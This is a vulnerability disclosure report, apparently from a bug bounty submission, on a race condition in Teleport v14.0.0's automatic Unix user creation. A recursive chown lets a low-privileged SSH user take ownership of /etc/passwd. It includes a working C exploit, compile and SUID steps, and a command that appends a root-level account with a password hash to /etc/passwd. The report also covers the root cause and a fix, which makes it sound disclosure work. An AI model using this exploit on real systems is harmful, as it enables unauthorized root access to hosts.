Privilege Escalation through Race Condition

Oct 2023
Title:         Privilege escalation through race condition
Scope:         https://github.com/gravitational/teleport
Weakness:      Privilege Escalation
Severity:      High (7.0)
Date:          2023-09-28 20:42:40 +0000

Summary

Teleport's SSH Service can be configured to automatically create local Unix users upon login. This feature (in teleport v14.0.0) is vulnerable to privilege escalation through a race condition. There was a race condition that was fixed in v13.4.0, but this vulnerability is in the latest community version 14.0.0 (Release date: 20 September 2023).

Details

When creating a new user using the auto user creation feature, teleport copies files from /etc/skel to user's home directory as root. Then chown is performed on these files recursively to change their ownership to the new user. This recursive chown is vulnerable to a race condition leading to privilege escalation.

Impact

Using this vulnerability any teleport user with low-privileged SSH access into a node can obtain root access to the node.

Reproduction

Setup

For proof of concept, I use the following setup:

  • A node that allows automatic user creation

    Role config:

    ...
        # Allow automatic creation of users.
        create_host_user_mode: drop
    ...
      allow:
        logins: [ "teleautousr" ]
    ...
    
  • A user that has the privilege to SSH using automatic user creation as well as using another (automatic or permanent) user. Both of these users are low privileged.

    User config:

    ...
      roles:
      - auto-users
      - ssh-access
    ...
      traits:
        logins:
        - ubuntu
        host_user_uid:
        - "1011"
    

    auto-users role allows SSH using the user teleautousr. SSH as ubuntu user is also allowed (under traits). For the purpose of PoC, I also set static UID for the user using host_user_uid.

Attack Steps

  1. SSH into the node as teleautousr:
    $ tsh ssh teleautousr@secure
    
  2. Go to a temporary directory and create a binary using the following C code and set SUID for it. Exploit code (priv-esc.c):

    #include 
    #include 
    #include 
    #include 
    int main() {
        printf("EUID = %d\n", geteuid());
        
        while(access("/home/teleautousr/.bashrc", F_OK) == 0) {
            ;
        }
        
        struct stat info;
        int notchanged;
        notchanged = 1;
        while(notchanged) {
            stat("/home/teleautousr", &info);
            if(info.st_uid == 1011) {
                symlink("/etc/passwd", "/home/teleautousr/zpasswd");
                notchanged = 0;
            }
        }
        printf("end\n");
        return 0;
    }
    
    $ cd /tmp/priv-esc
    $ gcc priv-esc.c -o priv-esc                                                                          
    $ chmod u+s priv-esc                                                                                  
    $ ls -la
    total 18
    drwxr-xr-x  2 teleautousr teleautousr     4 Sep 28 20:57 .
    drwxrwxrwt 24 root        root           24 Sep 28 20:57 ..
    -rwsr-xr-x  1 teleautousr teleautousr 17032 Sep 28 20:57 priv-esc
    -rw-r--r--  1 teleautousr teleautousr   524 Sep 28 20:57 priv-esc.c
    
  3. Exit the existing session

    $ exit
    the connection was closed on the remote side at  29 Sep 23 02:28 IST
    
  4. Now SSH into the node as ubuntu user, and run the exploit binary:

    $ tsh ssh ubuntu@secure
    ubuntu@secure:~
    $ cd /tmp/priv-esc/
    ubuntu@secure:/tmp/priv-esc
    $ ./priv-esc 
    EUID = 1011
    
  5. Keep the ubuntu user's session live and log into the node again from another terminal using the user teleautousr

    $ tsh ssh teleautousr@secure
    
  6. After login, check the /etc/passwd file. teleautousr now owns this file. In other words, teleautousr can make itself root

    $ ls -la /etc/passwd
    -rw-r--r-- 1 teleautousr teleautousr 2310 Sep 28 20:59 /etc/passwd
    $ echo 'user3:$1$SaLt$cj0TR5cF40370hGXWA5cv1:0:0:/root/root:/bin/bash' >> /etc/passwd     
    $ su user3
    Password: 
    # id
    uid=0(root) gid=0(root) groups=0(root)
    

Root Cause

The function that causes the vulnerability is RecursiveChown of file /lib/utils/fs.go. While recursively changing the ownership, the function first changes the ownership of a directory and then continues changing the ownership of files in it. Once the ownership of a directory is changed, a user can create files in it. If a user manages to quickly create a symlink pointing to /etc/passwd (or any root owned file), by the end of the recursive ownership change, the symlink and the target file will be owned by the new user.

Potential Remediation

While changing the ownership, start from the leaf of a directory chain. In other words, change the ownership of files and folders in a directory before changing the ownership of the directory. Once the ownership of a directory is changed, the ownership of its contents should not be changed.

Response from Teleport

While I was very excited about this report, this was marked duplicate by Teleport. However, they were very kind to give me a token of appreciation by sending a coupon to buy some goodies! The very next day, I reported another issue for which they gave me a four digit bounty!


The end
Other Articles